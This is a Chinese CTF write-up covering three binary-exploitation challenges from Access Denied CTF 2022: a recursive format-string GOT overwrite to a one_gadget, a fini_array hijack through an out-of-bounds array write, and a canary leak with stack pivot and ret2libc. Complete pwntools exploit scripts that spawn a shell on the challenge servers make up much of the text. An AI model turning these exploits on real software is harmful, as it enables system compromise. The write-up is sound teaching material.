Access Denied CTF 2022 pwn

第一次在比赛里ak了pwn,hhh。不过这个比赛的pwn题还是非常简单的,一共十道题。我认为对我来说有帮助的只有三道题(其他的太简单了,在此就不再记录了)
我下面写的这三道pwn题,附件在这里 链接: https://pan.baidu.com/s/1sZ3I815S0O-zGmcb03DTdw?pwd=q68t 提取码: q68t

总结:

1、通过format这道题对格式化字符串漏洞利用有了更深的理解,第一次做这种栈帧不断变化的格式化字符串漏洞(类似于函数递归了,只要认准最初的返回地址,最终递归结束的时候,还是可以触发one_gadget),不过还好凭借着还行的基础,花了一个多小时把这道题成功搞定了。

2、通过00B-2这道题,学习到了劫持fini_array中的函数指针的手法。程序退出时要用析构函数进行善后工作,因此我们可以在exit的调用链中劫持执行流。不过这个方法只能在No RELRO的时候使用。

3、通过canary这道题让我认识到了io交互的重要性,因为黏包现象(这个现象指的是,两次发送的payload数据,被一个输入函数给接收了)是很难排查的(至少不知道这是黏包产生的问题时,这个问题不是很容易排查到),即使加了sleep,也未必是万无一失。因此发送之前多使用io语句。

format

保护策略

image-20220612143851872

漏洞所在

image-20220612143917951

很明显这道题考察的是格式化字符串漏洞,但是这道题只存在一次格式化字符串漏洞,而且不存在后门函数。

利用思路

首先要考虑怎么劫持执行流,因为一次格式化字符串还没有后门函数,肯定是没法获取shell的。

观察了一下发现似乎就存在一个puts函数能用了,不过还好这个格式化字符串是在栈上,我们可以往任意地址写入数据。因此采取的策略是劫持puts的got表为vuln函数的地址,也就是到puts后重新执行了vuln,同时又新开辟了一片栈帧。由于puts的got表已经是vuln函数了,因此程序执行到puts就会不断的去执行vuln函数。

在这个过程中我们可以不断利用格式化字符串漏洞来写入数据,考虑的是往返回地址上写一个one_gadget(用格式化字符串泄露一下libc地址即可)

然后这道题就特殊在会不断开辟栈帧(我感觉类似于函数递归了),也就是返回地址在一直变化,到底写入到哪个返回地址呢?

答:写入最初的vuln函数的返回地址,因为是递归,所以最后一定会回到最初的vuln函数的返回地址(我指的是要想办法让递归结束,不是说让它自己递归就不管了)。

在这之前只需要泄露一下栈地址,然后看准最初vuln函数的返回地址,往里面写入one_gadget即可。由于一次没法写入过多数据,因此采用布置一条栈链,来分三次,一次两字节的写入one_gadget。同时还需要不断改变指针来精准写入数据。

最后布置完one_gadget,要再把puts的got表改回去,让递归结束,然后就可以返回到one_gadget了

EXP:

tools源码

注意:为了避免发送连包的现象,多使用io语句。

from tools import *
p,e,libc=load('format')
p=remote('107.178.209.165',9337)
#debug(p,0x401204)
puts_got_addr=e.got['puts']
printf_got_addr=e.got['printf']
puts_plt_addr=0x401030
p.recvuntil('Enter your name\n')
p.sendline(b'%11$p%14$p%4506c%9$hnaaa'+p64(puts_got_addr))
p.recvuntil(b'\x78')
leak_libc_addr=int(p.recv(12),16)
log_addr('leak_libc_addr')
p.recvuntil(b'\x78')
leak_stack_addr=int(p.recv(12),16)
log_addr('leak_stack_addr')
libc_base_addr=leak_libc_addr-0x811e7
log_addr('libc_base_addr')

target_addr=(leak_stack_addr-0x8)&0xffff
p.recvuntil('Enter your name\n')
payload=b'%'+str(target_addr).encode('latin1')+b'c%33$hn'
#payload=payload.ljust(0x40,b'a')
p.sendline(payload)

one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
one_gadget=libc_base_addr+one_gadget[0]
log_addr('one_gadget')
low_addr=one_gadget&0xffff
medium_addr=(one_gadget>>16)&0xffff
high_addr=(one_gadget>>32)&0xffff
log_addr('low_addr')
log_addr('medium_addr')
log_addr('high_addr')
log_addr('target_addr')

p.recvuntil('Enter your name\n')
p.sendline(b'%'+str(low_addr).encode('latin1')+b'c%71$hn\x00')

p.recvuntil('Enter your name\n')
p.sendline(b'%'+str(target_addr+2).encode('latin1')+b'c%57$hn\x00')
'''可以发现由于一直在开辟栈帧,我们写入数据的位置也是一直在变'''
p.recvuntil('Enter your name\n')
p.sendline(b'%'+str(medium_addr).encode('latin1')+b'c%95$hn\x00')

p.recvuntil('Enter your name\n')
p.sendline(b'%'+str(target_addr+4).encode('latin1')+b'c%81$hn\x00')

p.recvuntil('Enter your name\n')
p.sendline(b'%'+str(high_addr).encode('latin1')+b'c%119$hn\x00')

p.recvuntil('Enter your name\n')
p.sendline(b'%4144c%8$hnaaaaa'+p64(puts_got_addr))
p.interactive()
image-20220612164651936

OOB-2

保护策略:

image-20220612165735805

漏洞分析:

image-20220612170321352
arr[v5]=v6

这里存在一个任意地址(不过这个地址是靠arr的索引来获取的)写入任意数据(数据不能超过int类型的最大范围)(arr位于bss段)

同时程序存在后门。

image-20220612170418234

这道题其实是挺懵的,感觉flag就在眼前,就是拿不到。

利用思路

首先判断程序肯定是不存在溢出。然后考虑劫持函数的got表,不过发现执行完漏洞点后,程序不会再执行任何got表中的函数。考虑过劫持__stack_chk_fail函数的got表,不过没法溢出,因此不会破坏canary来触发这个__stack_chk_fail函数,这个思路也行不通。

那就应该从exit函数上下手(因为很明显除此之外不可能再有其他的利用手段了)

下图转自https://blog.csdn.net/weixin_45556441/article/details/115434617

image-20220612171156643

__libc_start_main函数会在main函数结束之后调用exit函数,而exit函数会调用_dl_fini函数。

在_dl_fini函数中,会调用_fini_array(这是一个节)中的函数指针。如果能在程序的任意地址写一个地址的话,劫持_fini_array指向的函数指针也许是个思路,当然劫持函数的got表也许可以,但如果这个在任意地址写一个数据完成后不再调用任何函数,那么劫持_fini_array一定是个不错的主意。

但是需要注意的是,它只能在保护为No RELRO的时候才能使用。

而_fini_array段距离bss段也挺近的

image-20220612171521261

那思路就是利用漏洞点,去往_fini_array里面写入后门函数的地址即可。

EXP:

tools源码

from tools import *
p,e,libc=load('a')
#debug(p,0x4012A4)
p=remote('34.71.207.70',9337)
p.sendline('-156')
p.sendline('4198870')
p.interactive()
image-20220612171748894

canary

保护策略

image-20220612213242511

漏洞分析:

image-20220612213841002

存在溢出,只能溢出到返回地址,因此考虑栈迁移,同时存在canary保护。

利用思路:

给了两次输入。很明显第一次输入是要把canary和rbp(为了之后的迁移做准备)给带出来。然后迁移,打ret2libc,获取shell。

这道题思路其实很容易,但是之所以这道题我感觉值得记录是因为让我认识到了exp中多写io语句的重要性,因为黏包这个问题排查起来很痛苦。

最初的脚本是这样的(如下)(虽然应该没人看我写的烂脚本 哈哈)

这个脚本如果调试的话会发现,最后是打通本地了的。但是奇怪的是不调试,直接运行的话是不通的。(这个其实听起来天方夜谭,但说到底其实还是自己有些知识没有掌握的原因,当时本地调试通的的时候一血还没出来,甚至问题没解决之前还感觉很不服气,认为这不是自己的问题(不过最后问题解决的时候,发现确实是自己对细节没有处理到位,确实是菜了))

产生这个匪夷所思的问题原因有两个:

1、对getchar()没有处理好,这个应该对他进行一次单独发送字符,而我把这次输入和接下来的read输入放到了一起。

2、没有加io语句,导致了黏包(尽管我试过加sleep函数,但这并不确保万无一失)

一个不规范的exp

from pwn import *
p=process('./a')
#gdb.attach(p)
e=ELF('a')
#p=remote('35.202.65.196',1337)
libc=ELF('libc.so.6')
#debug(p,0x40128E)
payload=0x49*'a'
pop_rdi_addr=0x401373 
puts_got_addr=0x404018
puts_plt_addr=0x4010a4

p.send(payload)
p.recvuntil('a'*0x49)
canary=u64(p.recv(7).rjust(8,b'\x00'))
leak_stack_addr=u64(p.recv(6).ljust(8,b'\x00'))
#log_addr('canary')
#log_addr('leak_stack_addr')
leave_ret_addr=0x401306
target_stack_addr=leak_stack_addr-0x70

payload=b'a'*9+p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(0x401110)
payload=payload.ljust(0x49,b'a')
payload+=p64(canary)+p64(target_stack_addr)+p64(leave_ret_addr)
#sleep(0.5)
p.sendline(payload)
#sleep(0.5)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base_addr=puts_addr-libc.symbols['puts']
print('libc_base',hex(libc_base_addr))
sys_addr=libc_base_addr+libc.symbols['system']
bin_sh_addr=libc_base_addr+next(libc.search(b"/bin/sh"))
taget2_addr=leak_stack_addr-0xa0#ret p64(0x40101a)
print('pid'+str(proc.pidof(p)))
pause()
p.sendline('a')
#sleep(0.2)

payload=b'b'*7+p64(0x40101a)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)+p64(0x40128E)
payload=payload.ljust(0x47,b'a')
payload+=p64(canary)+p64(taget2_addr-0x20-0xd0)
p.recvuntil('Enter your name again: ')

p.sendline(payload)

p.interactive()

然后我改进了下exp,加了io语句,并且单独处理了getchar函数。(下面的exp为最终脚本)

EXP

from pwn import *
#p=process('./a')
#gdb.attach(p)
e=ELF('a')
p=remote('35.202.65.196',1337)
libc=ELF('libc.so.6')
context.log_level='debug'
#debug(p,0x40128E)
pop_rdi_addr=0x401373 
puts_got_addr=0x404018
puts_plt_addr=0x4010a4

payload=0x49*'a'
p.sendafter('Enter your name: ',payload)
p.recvuntil('a'*0x49)

canary=u64(p.recv(7).rjust(8,b'\x00'))
leak_stack_addr=u64(p.recv(6).ljust(8,b'\x00'))
leave_ret_addr=0x401306
target_stack_addr=leak_stack_addr-0x70

p.recv()
pause()
p.send('1')
pause()

payload=b'a'*8+p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(0x401110)
payload=payload.ljust(0x48,b'a')
payload+=p64(canary)+p64(target_stack_addr)+p64(leave_ret_addr)
p.sendafter('Enter your name again: ',payload)

puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base_addr=puts_addr-libc.symbols['puts']
print('libc_base',hex(libc_base_addr))
sys_addr=libc_base_addr+libc.symbols['system']
bin_sh_addr=libc_base_addr+libc.search("/bin/sh").next()
taget2_addr=leak_stack_addr-0xa0
print('======>',p.recv())
p.send('1')
pause()
print('target2',hex(taget2_addr-0x20-0xd0))
payload=b'b'*8+p64(0x40101a)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)+p64(0x40128E)
payload=payload.ljust(0x48,b'a')
payload+=p64(canary)+p64(taget2_addr-0x20-0xd0)
p.send(payload)
p.sendline('y')
p.interactive()
posted @ 2022-06-12 22:51  ZikH26  阅读(172)  评论(0编辑  收藏  举报